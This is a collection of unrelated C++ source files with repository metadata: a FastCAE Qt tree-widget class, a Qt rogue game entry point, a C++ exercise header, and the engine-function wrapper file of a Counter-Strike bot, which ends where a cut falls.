/Code/moduleBase/ModelTreeWidgetBase.cpp
d114530f0d4931b97ffafafb082019a95d1f6d1d
[ "BSD-3-Clause" ]
permissive
baojunli/FastCAE
da1277f90e584084d461590a3699b941d8c4030b
a3f99f6402da564df87fcef30674ce5f44379962
refs/heads/master
2023-02-25T20:25:31.815729
2021-02-01T03:17:33
2021-02-01T03:17:33
268,390,180
1
0
BSD-3-Clause
2020-06-01T00:39:31
2020-06-01T00:39:31
null
UTF-8
C++
false
false
4,195
cpp
#include "ModelTreeWidgetBase.h" #include "mainWindow/mainWindow.h" #include <QContextMenuEvent> #include "moduleBase/modelTreeItemType.h" #include <QMenu> #include <assert.h> namespace ModuleBase { ModelTreeWidgetBase::ModelTreeWidgetBase(GUI::MainWindow* mainwindow, QWidget* parent /* = 0 */) : _mainWindow(mainwindow) { init(); } ModelTreeWidgetBase::~ModelTreeWidgetBase() { } void ModelTreeWidgetBase::init() { this->setHeaderHidden(true); ///注册了TreeWidget 左键单击 connect(this, SIGNAL(itemClicked(QTreeWidgetItem*, int)), this, SLOT(singleClicked(QTreeWidgetItem*, int))); ///注册了TreeWidget 左键双击 connect(this, SIGNAL(itemDoubleClicked(QTreeWidgetItem*, int)), this, SLOT(doubleClicked(QTreeWidgetItem*, int))); ///注册鼠标事件传递通知给mainWindow connect(this, SIGNAL(mouseEvent(int, QTreeWidgetItem*, int)), _mainWindow, SIGNAL(treeMouseEvent(int, QTreeWidgetItem*, int))); ///注册由mainWindow传递通知过来更新树 connect(_mainWindow, SIGNAL(updateTreeSignal()), this, SLOT(updateTree())); ///注册打印信息传递通知给mainWindow connect(this, SIGNAL(printMessageSignal(QString)), _mainWindow, SIGNAL(printMessageToMessageWindow(QString))); } void ModelTreeWidgetBase::updateTree() { } QTreeWidgetItem* ModelTreeWidgetBase::getProjectRoot(QTreeWidgetItem* item) const { if (NULL == item && NULL == _curretnItem) return NULL; if (item == nullptr) item = _curretnItem; while (item->type() != TreeItemType::ProjectRoot && item->parent() != nullptr) { item = item->parent(); } if (item != nullptr) return item; return nullptr; } QTreeWidgetItem* ModelTreeWidgetBase::getProjectRoot(const int pid) const { int n = this->topLevelItemCount(); for (int i = 0; i < n; ++i) { QTreeWidgetItem* item = topLevelItem(i); int id = item->data(0, Qt::UserRole).toInt(); if (id == pid) return item; } return nullptr; } ///contextMenuEvent 重写了底层函数 相当于右键点击 void ModelTreeWidgetBase::contextMenuEvent(QContextMenuEvent *evnt) { emit printMessageSignal("ModelTreeWidgetBase contextMenuEvent star"); _curretnItem = currentItem(); if (!_curretnItem) return; QTreeWidgetItem* item = getProjectRoot(_curretnItem); if (NULL == item) return; assert(item); const int proID = item->data(0, Qt::UserRole).toInt(); on_TreeMouseEvent(1, _curretnItem, proID); emit(mouseEvent(1, _curretnItem, proID)); } void ModelTreeWidgetBase::singleClicked(QTreeWidgetItem* item, int col) { _curretnItem = item; QTreeWidgetItem* rootitem = getProjectRoot(_curretnItem); assert(rootitem); const int proID = rootitem->data(0, Qt::UserRole).toInt(); on_TreeMouseEvent(0, _curretnItem, proID); emit mouseEvent(0, _curretnItem, proID); } void ModelTreeWidgetBase::doubleClicked(QTreeWidgetItem* item, int col) { _curretnItem = item; QTreeWidgetItem* rootitem = getProjectRoot(_curretnItem); assert(rootitem); const int proID = rootitem->data(0, Qt::UserRole).toInt(); on_TreeMouseEvent(0, _curretnItem, proID); emit mouseEvent(2, item, proID); } void ModelTreeWidgetBase::on_TreeMouseEvent(int evevntType, QTreeWidgetItem* item, int id) { //ProjectData::ProjectData* projectdata = ProjectData::Singleton::getInstance()->getProjectDataByID(id); //assert(projectdata != nullptr); ProjectData::ProjectData* projectdata = NULL; switch (evevntType) { case 0://左键单击 on_singleClicked(item, projectdata); break; case 1://右键单击 createContextMenu(item, projectdata); break; case 2://左键双击 on_doubleClicked(item, projectdata); break; default: assert(0); break; } } void ModelTreeWidgetBase::on_singleClicked(QTreeWidgetItem* item, ProjectData::ProjectData* projectData) { } void ModelTreeWidgetBase::on_doubleClicked(QTreeWidgetItem* item, ProjectData::ProjectData* projectData) { } void ModelTreeWidgetBase::createContextMenu(QTreeWidgetItem* item, ProjectData::ProjectData* projectData) { } }
[ "l”ibaojunqd@foxmail.com“" ]
l”ibaojunqd@foxmail.com“
a641a96c8e0a4144db9aabf8094749ca1d776f4c
ab29ed6ac92e4904f875483b48bfb8679f69609e
/main.cpp
a0953cc9ede8e53cbe74109c77e4aa1def74a82b
[]
no_license
pwightman/rogue
6ab67f03ceef2b34cb9f851b8e033aac20a1bed0
9445d308d09f2a325b9836ebe10fb523108f51ad
refs/heads/master
2016-09-02T00:56:54.680875
2012-04-25T22:09:03
2012-04-25T22:09:03
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,747
cpp
/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** This file is part of the documentation of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:BSD$ ** You may use this file under the terms of the BSD license as follows: ** ** "Redistribution and use in source and binary forms, with or without ** modification, are permitted provided that the following conditions are ** met: ** * Redistributions of source code must retain the above copyright ** notice, this list of conditions and the following disclaimer. ** * Redistributions in binary form must reproduce the above copyright ** notice, this list of conditions and the following disclaimer in ** the documentation and/or other materials provided with the ** distribution. ** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor ** the names of its contributors may be used to endorse or promote ** products derived from this software without specific prior written ** permission. ** ** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." ** $QT_END_LICENSE$ ** ****************************************************************************/ #include <QtGui> #include <iostream> #include "window.h" #include "QRogueWidget.h" using namespace std; int main(int argv, char **args) { QApplication app(argv, args); QRogueWidget* outerWindow = new QRogueWidget(); outerWindow->show(); // rightLayout->addWidget(window); // rightSide->setFocusPolicy( Qt::NoFocus ); // rightSide->setFocusProxy(window); // window->focusWidget(); return app.exec(); } /* QWidget* showClosingIn() { QWidget* active; if(closingInCondition) active = new ClosingIn(); else if(...) active = new Window(Window::gauntlet); else active = new Window(Window::dungeon); // Create box and layout } */
[ "parkerwightman@gmail.com" ]
parkerwightman@gmail.com
2f8ea5b49c5356128cd5121273d5f4a4423257b5
008b6f9d0fb1359e3aa76d12fc77e755ae40264a
/d04/ex04/MiningBarge.hpp
ce528997bc251bba3df0421b86e6f7523696a93d
[]
no_license
devadomas/cpp-piscine
2d853f3f3a34a075625c92baa380ccf64c93fdc9
9bee621ba58396828b3342517c9ad1c015136b66
refs/heads/master
2020-04-19T00:24:05.162711
2019-05-31T12:15:56
2019-05-31T12:15:56
167,845,661
1
0
null
null
null
null
UTF-8
C++
false
false
374
hpp
#ifndef MININGBRAGE_HPP #define MININGBRAGE_HPP #include "IMiningLaser.hpp" #include "IAsteroid.hpp" class MiningBarge { public: MiningBarge(void); virtual ~MiningBarge(void); MiningBarge(MiningBarge const &); MiningBarge & operator=(MiningBarge const &); void equip(IMiningLaser *); void mine(IAsteroid *) const; private: IMiningLaser * _arr[4]; }; #endif
[ "adomas.zal@gmail.com" ]
adomas.zal@gmail.com
eba998527783fda1377772a88287ddaefc69eed1
96ab4dd1b01a51164031c2cdf2dc9e7b773a4293
/csbot/engine.cpp
ec1648b528cb1fc6fb28c76b57b81a78267a7f0d
[]
no_license
N7P0L3ON/hlsdk10-bots
25e821d519f8229ac5ab6ab614df7698ce843f90
d12620edecb1d2012663f32957a01d2c7b16c52a
refs/heads/master
2023-05-02T05:57:31.064376
2018-08-25T10:01:57
2018-08-25T10:01:57
null
0
0
null
null
null
null
UTF-8
C++
false
false
32,159
cpp
/********************************** TheBot Eric Bieschke's CS Bot http://gamershomepage.com/thebot/ *********************************** Adapted from: HPB_bot botman's High Ping Bastard bot http://planethalflife.com/botman/ *********************************** $Source: /usr/local/cvsroot/csbot/src/dlls/engine.cpp,v $ $Revision: 1.5 $ $Date: 2001/04/30 08:06:11 $ $State: Exp $ *********************************** $Log: engine.cpp,v $ Revision 1.5 2001/04/30 08:06:11 eric willFire() deals with crouching versus standing Revision 1.4 2001/04/30 07:17:17 eric Movement priorities determined by bot index Revision 1.3 2001/04/29 01:45:36 eric Tweaked CVS info headers Revision 1.2 2001/04/29 01:36:00 eric Added Header and Log CVS options **********************************/ #include "extdll.h" #include "util.h" #include "bot.h" #include "bot_client.h" #include "engine.h" extern enginefuncs_t g_engfuncs; extern bot_t bots[MAX_BOTS]; int debug_engine = 0; void (*botMsgFunction)(void *, int) = NULL; void (*botMsgEndFunction)(void *, int) = NULL; int botMsgIndex; // messages created in RegUserMsg which will be "caught" int message_ShowMenu = 0; int message_WeaponList = 0; int message_CurWeapon = 0; int message_AmmoX = 0; int message_AmmoPickup = 0; int message_Damage = 0; int message_Money = 0; // for Counter-Strike int message_DeathMsg = 0; int message_TextMsg = 0; int message_ScreenFade = 0; static FILE *fp; int pfnPrecacheModel(char* s) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPrecacheModel: %s\n",s); fclose(fp); } return (*g_engfuncs.pfnPrecacheModel)(s); } int pfnPrecacheSound(char* s) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPrecacheSound: %s\n",s); fclose(fp); } return (*g_engfuncs.pfnPrecacheSound)(s); } void pfnSetModel(edict_t *e, const char *m) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetModel: edict=%x %s\n",e,m); fclose(fp); } (*g_engfuncs.pfnSetModel)(e, m); } int pfnModelIndex(const char *m) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnModelIndex: %s\n",m); fclose(fp); } return (*g_engfuncs.pfnModelIndex)(m); } int pfnModelFrames(int modelIndex) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnModelFrames:\n"); fclose(fp); } return (*g_engfuncs.pfnModelFrames)(modelIndex); } void pfnSetSize(edict_t *e, const float *rgflMin, const float *rgflMax) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetSize: %x\n",e); fclose(fp); } (*g_engfuncs.pfnSetSize)(e, rgflMin, rgflMax); } void pfnChangeLevel(char* s1, char* s2) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnChangeLevel:\n"); fclose(fp); } // kick any bot off of the server after time/frag limit... for (int index = 0; index < MAX_BOTS; index++) { if (bots[index].is_used) // is this slot used? { char cmd[40]; sprintf(cmd, "kick \"%s\"\n", bots[index].name); bots[index].respawn_state = RESPAWN_NEED_TO_RESPAWN; SERVER_COMMAND(cmd); // kick the bot using (kick "name") } } (*g_engfuncs.pfnChangeLevel)(s1, s2); } void pfnGetSpawnParms(edict_t *ent) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetSpawnParms:\n"); fclose(fp); } (*g_engfuncs.pfnGetSpawnParms)(ent); } void pfnSaveSpawnParms(edict_t *ent) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSaveSpawnParms:\n"); fclose(fp); } (*g_engfuncs.pfnSaveSpawnParms)(ent); } float pfnVecToYaw(const float *rgflVector) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnVecToYaw:\n"); fclose(fp); } return (*g_engfuncs.pfnVecToYaw)(rgflVector); } void pfnVecToAngles(const float *rgflVectorIn, float *rgflVectorOut) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnVecToAngles:\n"); fclose(fp); } (*g_engfuncs.pfnVecToAngles)(rgflVectorIn, rgflVectorOut); } void pfnMoveToOrigin(edict_t *ent, const float *pflGoal, float dist, int iMoveType) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnMoveToOrigin:\n"); fclose(fp); } (*g_engfuncs.pfnMoveToOrigin)(ent, pflGoal, dist, iMoveType); } void pfnChangeYaw(edict_t* ent) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnChangeYaw:\n"); fclose(fp); } (*g_engfuncs.pfnChangeYaw)(ent); } void pfnChangePitch(edict_t* ent) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnChangePitch:\n"); fclose(fp); } (*g_engfuncs.pfnChangePitch)(ent); } /* edict_t* pfnFindEntityByString(edict_t *pEdictStartSearchAfter, const char *pszField, const char *pszValue) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFindEntityByString: %s\n",pszValue); fclose(fp); } return (*g_engfuncs.pfnFindEntityByString)(pEdictStartSearchAfter, pszField, pszValue); }*/ edict_t* pfnFindEntityByString(edict_t *pEdictStartSearchAfter, const char *pszField, const char *pszValue) { if (strcmp (pszValue, "func_bomb_target") == 0) round_begin (); // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFindEntityByString: %s\n",pszValue); fclose(fp); } return (*g_engfuncs.pfnFindEntityByString)(pEdictStartSearchAfter, pszField, pszValue); } int pfnGetEntityIllum(edict_t* pEnt) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetEntityIllum:\n"); fclose(fp); } return (*g_engfuncs.pfnGetEntityIllum)(pEnt); } edict_t* pfnFindEntityInSphere(edict_t *pEdictStartSearchAfter, const float *org, float rad) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFindEntityInSphere:\n"); fclose(fp); } return (*g_engfuncs.pfnFindEntityInSphere)(pEdictStartSearchAfter, org, rad); } edict_t* pfnFindClientInPVS(edict_t *pEdict) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFindClientInPVS:\n"); fclose(fp); } return (*g_engfuncs.pfnFindClientInPVS)(pEdict); } edict_t* pfnEntitiesInPVS(edict_t *pplayer) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnEntitiesInPVS:\n"); fclose(fp); } return (*g_engfuncs.pfnEntitiesInPVS)(pplayer); } void pfnMakeVectors(const float *rgflVector) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnMakeVectors:\n"); fclose(fp); } (*g_engfuncs.pfnMakeVectors)(rgflVector); } void pfnAngleVectors(const float *rgflVector, float *forward, float *right, float *up) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnAngleVectors:\n"); fclose(fp); } (*g_engfuncs.pfnAngleVectors)(rgflVector, forward, right, up); } edict_t* pfnCreateEntity(void) { edict_t *pent = (*g_engfuncs.pfnCreateEntity)(); if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCreateEntity: %x\n",pent); fclose(fp); } return pent; } void pfnRemoveEntity(edict_t* e) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnRemoveEntity: %x\n",e); fclose(fp); } if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnRemoveEntity: %x\n",e); if (e->v.model != 0) fprintf(fp," model=%s\n", STRING(e->v.model)); fclose(fp); } (*g_engfuncs.pfnRemoveEntity)(e); } edict_t* pfnCreateNamedEntity(int className) { edict_t *pent = (*g_engfuncs.pfnCreateNamedEntity)(className); if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCreateNamedEntity: edict=%x name=%s\n",pent,STRING(className)); fclose(fp); } return pent; } void pfnMakeStatic(edict_t *ent) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnMakeStatic:\n"); fclose(fp); } (*g_engfuncs.pfnMakeStatic)(ent); } int pfnEntIsOnFloor(edict_t *e) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnEntIsOnFloor:\n"); fclose(fp); } return (*g_engfuncs.pfnEntIsOnFloor)(e); } int pfnDropToFloor(edict_t* e) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnDropToFloor:\n"); fclose(fp); } return (*g_engfuncs.pfnDropToFloor)(e); } int pfnWalkMove(edict_t *ent, float yaw, float dist, int iMode) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWalkMove:\n"); fclose(fp); } return (*g_engfuncs.pfnWalkMove)(ent, yaw, dist, iMode); } void pfnSetOrigin(edict_t *e, const float *rgflOrigin) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetOrigin:\n"); fclose(fp); } (*g_engfuncs.pfnSetOrigin)(e, rgflOrigin); } void pfnEmitSound(edict_t *entity, int channel, const char *sample, /*int*/float volume, float attenuation, int fFlags, int pitch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnEmitSound:\n"); fclose(fp); } (*g_engfuncs.pfnEmitSound)(entity, channel, sample, volume, attenuation, fFlags, pitch); } void pfnEmitAmbientSound(edict_t *entity, float *pos, const char *samp, float vol, float attenuation, int fFlags, int pitch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnEmitAmbientSound:\n"); fclose(fp); } (*g_engfuncs.pfnEmitAmbientSound)(entity, pos, samp, vol, attenuation, fFlags, pitch); } void pfnTraceLine(const float *v1, const float *v2, int fNoMonsters, edict_t *pentToSkip, TraceResult *ptr) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceLine:\n"); fclose(fp); } (*g_engfuncs.pfnTraceLine)(v1, v2, fNoMonsters, pentToSkip, ptr); } void pfnTraceToss(edict_t* pent, edict_t* pentToIgnore, TraceResult *ptr) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceToss:\n"); fclose(fp); } (*g_engfuncs.pfnTraceToss)(pent, pentToIgnore, ptr); } int pfnTraceMonsterHull(edict_t *pEdict, const float *v1, const float *v2, int fNoMonsters, edict_t *pentToSkip, TraceResult *ptr) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceMonsterHull:\n"); fclose(fp); } return (*g_engfuncs.pfnTraceMonsterHull)(pEdict, v1, v2, fNoMonsters, pentToSkip, ptr); } void pfnTraceHull(const float *v1, const float *v2, int fNoMonsters, int hullNumber, edict_t *pentToSkip, TraceResult *ptr) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceHull:\n"); fclose(fp); } (*g_engfuncs.pfnTraceHull)(v1, v2, fNoMonsters, hullNumber, pentToSkip, ptr); } void pfnTraceModel(const float *v1, const float *v2, int hullNumber, edict_t *pent, TraceResult *ptr) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceModel:\n"); fclose(fp); } (*g_engfuncs.pfnTraceModel)(v1, v2, hullNumber, pent, ptr); } const char *pfnTraceTexture(edict_t *pTextureEntity, const float *v1, const float *v2 ) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceTexture:\n"); fclose(fp); } return (*g_engfuncs.pfnTraceTexture)(pTextureEntity, v1, v2); } void pfnTraceSphere(const float *v1, const float *v2, int fNoMonsters, float radius, edict_t *pentToSkip, TraceResult *ptr) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTraceSphere:\n"); fclose(fp); } (*g_engfuncs.pfnTraceSphere)(v1, v2, fNoMonsters, radius, pentToSkip, ptr); } void pfnGetAimVector(edict_t* ent, float speed, float *rgflReturn) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetAimVector:\n"); fclose(fp); } (*g_engfuncs.pfnGetAimVector)(ent, speed, rgflReturn); } void pfnServerCommand(char* str) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnServerCommand: %s\n",str); fclose(fp); } (*g_engfuncs.pfnServerCommand)(str); } void pfnServerExecute(void) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnServerExecute:\n"); fclose(fp); } (*g_engfuncs.pfnServerExecute)(); } void pfnClientCommand(edict_t* pEdict, char* szFmt, ...) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnClientCommand=%s\n",szFmt); fclose(fp); } return; } void pfnParticleEffect(const float *org, const float *dir, float color, float count) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnParticleEffect:\n"); fclose(fp); } (*g_engfuncs.pfnParticleEffect)(org, dir, color, count); } void pfnLightStyle(int style, char* val) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnLightStyle:\n"); fclose(fp); } (*g_engfuncs.pfnLightStyle)(style, val); } int pfnDecalIndex(const char *name) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnDecalIndex:\n"); fclose(fp); } return (*g_engfuncs.pfnDecalIndex)(name); } int pfnPointContents(const float *rgflVector) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPointContents:\n"); fclose(fp); } return (*g_engfuncs.pfnPointContents)(rgflVector); } void pfnMessageBegin(int msg_dest, int msg_type, const float *pOrigin, edict_t *ed) { if (gpGlobals->deathmatch) { int index = -1; if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnMessageBegin: edict=%x dest=%d type=%d\n",ed,msg_dest,msg_type); fclose(fp); } if (ed) { index = UTIL_GetBotIndex(ed); // is this message for a bot? if (index != -1) { botMsgFunction = NULL; // no msg function until known otherwise botMsgEndFunction = NULL; // no msg end function until known otherwise botMsgIndex = index; // index of bot receiving message if (msg_type == message_ShowMenu) botMsgFunction = BotClient_CS_ShowMenu; else if (msg_type == message_WeaponList) botMsgFunction = BotClient_CS_WeaponList; else if (msg_type == message_CurWeapon) botMsgFunction = BotClient_CS_CurrentWeapon; else if (msg_type == message_AmmoX) botMsgFunction = BotClient_CS_AmmoX; else if (msg_type == message_AmmoPickup) botMsgFunction = BotClient_CS_AmmoPickup; else if (msg_type == message_Damage) botMsgFunction = BotClient_CS_Damage; else if (msg_type == message_Money) botMsgFunction = BotClient_CS_Money; else if (msg_type == message_ScreenFade) botMsgFunction = BotClient_CS_ScreenFade; else if (msg_type == message_TextMsg) botMsgFunction = BotClient_CS_TextMsg; } } else if (msg_dest == MSG_ALL) { botMsgFunction = NULL; // no msg function until known otherwise botMsgIndex = -1; // index of bot receiving message (none) if (msg_type == message_DeathMsg) botMsgFunction = BotClient_CS_DeathMsg; else if (msg_type == message_TextMsg) botMsgFunction = BotClient_CS_TextMsg; } } (*g_engfuncs.pfnMessageBegin)(msg_dest, msg_type, pOrigin, ed); } void pfnMessageEnd(void) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnMessageEnd:\n"); fclose(fp); } if (botMsgEndFunction) (*botMsgEndFunction)(NULL, botMsgIndex); // NULL indicated msg end // clear out the bot message function pointers... botMsgFunction = NULL; botMsgEndFunction = NULL; } (*g_engfuncs.pfnMessageEnd)(); } void pfnWriteByte(int iValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteByte: %d\n",iValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&iValue, botMsgIndex); } (*g_engfuncs.pfnWriteByte)(iValue); } void pfnWriteChar(int iValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteChar: %d\n",iValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&iValue, botMsgIndex); } (*g_engfuncs.pfnWriteChar)(iValue); } void pfnWriteShort(int iValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteShort: %d\n",iValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&iValue, botMsgIndex); } (*g_engfuncs.pfnWriteShort)(iValue); } void pfnWriteLong(int iValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteLong: %d\n",iValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&iValue, botMsgIndex); } (*g_engfuncs.pfnWriteLong)(iValue); } void pfnWriteAngle(float flValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteAngle: %f\n",flValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&flValue, botMsgIndex); } (*g_engfuncs.pfnWriteAngle)(flValue); } void pfnWriteCoord(float flValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteCoord: %f\n",flValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&flValue, botMsgIndex); } (*g_engfuncs.pfnWriteCoord)(flValue); } void pfnWriteString(const char *sz) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteString: %s\n",sz); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)sz, botMsgIndex); } (*g_engfuncs.pfnWriteString)(sz); } void pfnWriteEntity(int iValue) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnWriteEntity: %d\n",iValue); fclose(fp); } // if this message is for a bot, call the client message function... if (botMsgFunction) (*botMsgFunction)((void *)&iValue, botMsgIndex); } (*g_engfuncs.pfnWriteEntity)(iValue); } void pfnCVarRegister(cvar_t *pCvar) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCVarRegister:\n"); fclose(fp); } (*g_engfuncs.pfnCVarRegister)(pCvar); } float pfnCVarGetFloat(const char *szVarName) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCVarGetFloat: %s\n",szVarName); fclose(fp); } return (*g_engfuncs.pfnCVarGetFloat)(szVarName); } const char* pfnCVarGetString(const char *szVarName) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCVarGetString:\n"); fclose(fp); } return (*g_engfuncs.pfnCVarGetString)(szVarName); } void pfnCVarSetFloat(const char *szVarName, float flValue) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCVarSetFloat:\n"); fclose(fp); } (*g_engfuncs.pfnCVarSetFloat)(szVarName, flValue); } void pfnCVarSetString(const char *szVarName, const char *szValue) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCVarSetString:\n"); fclose(fp); } (*g_engfuncs.pfnCVarSetString)(szVarName, szValue); } void* pfnPvAllocEntPrivateData(edict_t *pEdict, long cb) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPvAllocEntPrivateData:\n"); fclose(fp); } return (*g_engfuncs.pfnPvAllocEntPrivateData)(pEdict, cb); } void* pfnPvEntPrivateData(edict_t *pEdict) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPvEntPrivateData:\n"); fclose(fp); } return (*g_engfuncs.pfnPvEntPrivateData)(pEdict); } void pfnFreeEntPrivateData(edict_t *pEdict) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFreeEntPrivateData:\n"); fclose(fp); } (*g_engfuncs.pfnFreeEntPrivateData)(pEdict); } const char* pfnSzFromIndex(int iString) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSzFromIndex:\n"); fclose(fp); } return (*g_engfuncs.pfnSzFromIndex)(iString); } int pfnAllocString(const char *szValue) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnAllocString:\n"); fclose(fp); } return (*g_engfuncs.pfnAllocString)(szValue); } edict_t* pfnPEntityOfEntOffset(int iEntOffset) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPEntityOfEntOffset:\n"); fclose(fp); } return (*g_engfuncs.pfnPEntityOfEntOffset)(iEntOffset); } int pfnEntOffsetOfPEntity(const edict_t *pEdict) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnEntOffsetOfPEntity: %x\n",pEdict); fclose(fp); } return (*g_engfuncs.pfnEntOffsetOfPEntity)(pEdict); } int pfnIndexOfEdict(const edict_t *pEdict) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnIndexOfEdict: %x\n",pEdict); fclose(fp); } return (*g_engfuncs.pfnIndexOfEdict)(pEdict); } edict_t* pfnPEntityOfEntIndex(int iEntIndex) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPEntityOfEntIndex:\n"); fclose(fp); } return 